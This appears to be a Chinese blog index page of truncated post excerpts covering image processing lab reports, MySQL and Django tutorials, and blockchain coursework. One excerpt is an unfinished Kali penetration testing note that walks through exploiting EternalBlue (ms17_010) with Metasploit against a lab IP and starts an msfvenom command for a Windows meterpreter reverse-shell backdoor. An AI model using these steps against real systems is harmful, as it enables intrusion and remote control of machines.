imgProc-ex4
实验四:手写数字识别
实验目的
掌握分类、识别问题的实质,了解各种分类问题的机器学习方法,并至少掌握一种,熟悉 Python 编程。
实验内容
对实验提供的手写数据库(MNIST)进行训练和测试,最终能够较为准确的识别数据库中的手写体数字。
实验要求
编写一完整的 Python 程序,选取一种合适的机器学习方法,对实验提供的手写数据库(MNIST)进行训练和测试,最终能够较为准确的识别数据库中的手写体数字。
运行训练程序,并通过 tensorboard 可视化,通过图片展示训练过程中的Loss 和测试准确度。并且测试最好模型的识别准确度。
实验原理
采用卷积神经网络(Convolutional Neural Networks, CNN)来实现实验要求。卷积神经网络由输入层,卷积层,池化层,全连接层,输出层等组成。输入层处理输入的图像数据,在卷积层经过二维卷积运算提取特征,在经过池化层对提取到的特征进行选择和过滤,最终通过全连接层经过梯度运算迭代结果。因此,在卷积神经网络中图形的特征可以自动提取,并不需要对所分类图形的处理具有先图像处理与信息隐藏课程实验验 ...
imgProc-ex3
实验三:图像分割
实验目的
了解图像分割的基本原理,并利用图像分割算法进行图像分割处理;
掌握数学形态学的基本运算。
实验内容
利用类间方差阈值算法实现图像的分割处理;
利用形态学处理进行处理结果修正。
实验环境
macOS 14.1 Sonoma(Apple M1 PRO)
PyCharm/Python3.10
OpenCV-Python
实验原理及过程
对输入图像进行平滑处理,以减小噪声对分割处理的影响,比较中值滤波范围取不同值时对图像滤波的效果
中值滤波是基于排序统计理论的一种能有效抑制噪声的非线性信号处理技术,中值滤波的基本原理是把数字图像或数字序列中一点的值用该点的一个邻域中各点值的中值代替,让周围的像素值接近真实值,从而消除孤立的噪声点。方法是用某种结构的二维滑动模板,将板内像素按照像素值的大小进行排序, 生成单调上升(或下降)的为二维数据序列。
二维中值滤波输出为:
g(x,y)=Mid{f(x−k,y−l)∣k,l∈W}g(x,y)=Mid\{f(x-k,y-l)|k,l\in W\}
g(x,y)=Mid{f(x−k,y−l)∣ ...
imgProc-ex2
实验二:图像复原
实验目的
利用反向滤波和维纳滤波进行降质图像复原,比较不同参数选择对复原结果的影响。
实验
实验内容
利用反向滤波方法进行图像复原;
利用维纳滤波方法进行图像复原。
实验环境
macOS 14.1 Sonoma(Apple M1 PRO)
PyCharm/Python3.10
OpenCV-Python
实验原理及过程
输入图像采用实验 1 所获取的图像,对输入图像采用运动降质模型,如下式所示
H(u,v)=Tπ(au+bv)sin[π(au+bv)]exp−jπ(au+bv)u,v=−N2,−N2+1,...,−1,0,1,...,N2−1T=1,a=b=0.02H(u,v)=\frac{T}{\pi(au+bv)}\sin[\pi(au+bv)]\exp^{-j\pi(au+bv)}\\
u,v=-\frac{N}{2},-\frac{N}{2}+1,...,-1,0,1,...,\frac{N}{2}-1\\
T=1,a=b=0.02
H(u,v)=π(au+bv)Tsin[π(au+bv)]exp−jπ(au+bv)u,v=−2N,−2 ...
imgProc-ex1
实验一:图像去噪
实验目的
熟悉和掌握 Python 图像处理的基本操作;
掌握 DCT 变换的基本性质和 Python 的实现方法;
掌握如何利用 DCT 变换进行简单的图像去噪任务;
掌握如何利用 Python 进行 PSNR 等图像质量评价客观标准。
实验内容
对 Lena 图像进行基础的图像处理操作,对图像进行添加噪声、去噪处理的操作
计算去噪处理之后图像与添加噪声前图像的 PSNR
实验环境
macOS 14.1 Sonoma(Apple M1 PRO)
PyCharm/Python3.10
OpenCV-Python
实验原理及过程
读取 Lena 图像,将彩色图转换为灰度图
数字图像的表示:
一幅图像可以被定义为一个二维函数𝑓(𝑥,𝑦)𝑓(𝑥, 𝑦)f(x,y),其中𝑥𝑥x和𝑦𝑦y是平面坐标,𝑓𝑓f在每一个坐标处的取值𝑘∈𝑅r𝑘\in
𝑅^rk∈Rr即为图像在该点的亮度和色彩。灰度图像对于每一个坐标(𝑥,𝑦)(𝑥, 𝑦)(x,y)有𝑓(𝑥,𝑦)=𝑘∈𝑅𝑓(𝑥, 𝑦) = 𝑘 \in 𝑅f(x ...
kali渗透测试(未完结)
渗透测试
1.1 kail安装
1.2 msf和永恒之蓝
msf:metaspoilt
永恒之蓝 windows 17年以前的版本均含有该漏洞
1.3 msf攻击永恒之蓝
进入msf:
1msfconsole
搜索永恒之蓝模块
1search ms17_010
使用模块
1use id/name
查看设置选项
12show optionsoptions
测试与windows连通性
注意关闭防火墙
1ping 192.168.179.132
设置RHOST(攻击目标主机)等必选项**
1set RHOST 192.168.179.132
payload设置默认即可
LHOST:监听地址(kali本机ip)
LPORT:监听端口
运行
1run
metteroreter:后渗透模块
msfvenom生成远控木马(shell中)
用来生成后门的软件,在目标机上执行后门,在本地监听上线
windows可执行程序后门
1msfvenom -p windows/x64/meterpreter/reve ...
MySQL入门
MySQL
1.1 启动MySQL
设置/命令行
1.2 登录
12mysql -u root -p[yourpasswd]
1.3 mysql界面
创建数据库
1CREATE DATABASE name;
显示数据库信息
1SHOW DATABASES;
1.4 VScode 插件
SQLTools
MySQL插件驱动
1.5 连接数据库
默认设置
2.1 注释和@block
123-- comment-- @block -- 用于局部执行代码
2.2 创建表格
123456789CREATE TABLE Users( id INT PRIMARY KEY AUTO_INCREMENT, -- 数据类型 主键 自动增长 email VARCHAR(255) NOT NULL UNIQUE, -- 字符串长度最大255 非空 唯一 bio TEXT, -- 未指定大小的字符串 country VARCHAR(2));
2.3 添加数据
1234INSERT INTO Users(email, bio, country ...
Django
Django简易教程
创建项目
1$ django-admin startproject projectname
启动Django服务器
1$ python3 manage.py runserver [[ip:]port]
创建应用
1$ python3 manage.py startapp appname
应用URL和项目URL的设立
Views建立
建立数据库
https://pypi.org/project/mysqlclient/
推荐下面的pymysql
1234app/__init__.pyimport pymysqlpymysql.install_as_MySQLdb()
创建基础表
1$ python3 manage.py migrate
建立模型 models.py
激活模型,(创建schema),生成迁移文件
1$ python3 manage.py makemigrations appname
数据库迁移(migrate)
Django RESTful
放个坑以后补,这玩意确实好用
blockchain-ex6
实验六:简单Dapp 的开发
实验概述
DApp(Decentralized Application)去中心化应用,自 P2P 网络出现以来就已经存在,是一种运行在计算机 P2P 网络而不是单个计算机上的应用程序。DApp 以一种不受任何单个实体控制的方式存在于互联网中。在区块链技术产生之前,BitTorrent,Popcorn Time,BitMessage等都是运行在P2P网络上的DApp,随着区块链技术的产生和发展,DApp 有了全新的载体和更广阔的发展前景。
DApp 应具备代码开源、激励机制、非中心化共识和无单点故障四个要素,而最为基本的 DApp 结构即为前端+智能合约形式。本实验以以太坊为基础,首先用 Solidity 语言编写实现会议报名登记功能的智能合约,加深编写智能合约的能力;之后学习以太坊私有链的搭建、以及合约在私有链上的部署,从而脱离 Remix,学习更为强大的 Truffle 开发组件;
进而学习 web3.js 库,实现前端对智能合约的调用,构建完整的 DApp;最后可对该DApp 加入个性化机制,例如加入 Token 机制等,作为实验选做项。该实验实现了一 ...
blockchain-ex5
实验五:认识智能合约&线上 IDE 实现 Solidity 合约
实验概述
本实验参考自以太坊中的以太猫游戏和 Loom Network 团队的智能合约教学案例,进行 Solidity 智能合约入门与 remix 在线 IDE 使用练习,通过构建一个“宠物游戏”来学习智能合约的编写,在实验中穿插 Solidity 基础知识。
实验 5-1:生成宠物,并存入区块链上的宠物数据库
实现效果:
在 JavaScript VM 环境下,部署 AnimalIncubators 合约。
创建三个分别叫Drogon、Rheagal、Viserion 的宠物,并展示其DNA。
实验 5-2:Solidity 进阶——宠物成长系统
实现效果:
部署 AnimalFeeding 合约
以三个用户身份添加 Drogon、Rheagal、Viserion 的宠物
Drogon用户:0xca35b7d915458ef540ade6068dfe2f44e8fa733c
Rheagal用户:0x14723a09acff6d2a60dcdf7aa4aff308f ...
blockchain-ex4
实验四:区块链浏览器&常见区块链钱包
一、实验概述
本实验一方面以比特币和以太坊的区块链浏览器为例,首先介绍获取区块链数据的基本技巧;进而利用区块链浏览器解析并学习区块链账本层与合约层的构造,结合多个典型事务,加深学生对于多种区块链状态的认知与体会;对批量获取区块链数据进行数据挖掘的相关技巧进行点拨,该实验也是后续所有区块链实践的必备积淀。另一方面,针对于存储私钥的应用——区块链钱包,本实验旨在让学生掌握主流货币系统生成密钥和地址、签发交易的基本方法,以及掌握区块链钱包的基本分类,了解并体验不同类型的区块链钱包,并针对学有余力的同学组队展开进阶实验。
二、预备知识
区块链浏览器
作为浏览区块链信息的主要窗口,区块链浏览器向用户提供其感兴趣的区块链相关信息,并且区块链浏览器还可能额外提供对于测试网络的支持,数据可视化服务,钱包服务(和开放 API(方便用户精确、批量的获取数据)。
Base58
用于 Bitcoin 中使用的一种独特的编码方式,主要用于产生 Bitcoin 的账户地址。相比于 Base64 去除了易于混淆的 0OIl 和作为标点的+/,使得地址的表 ...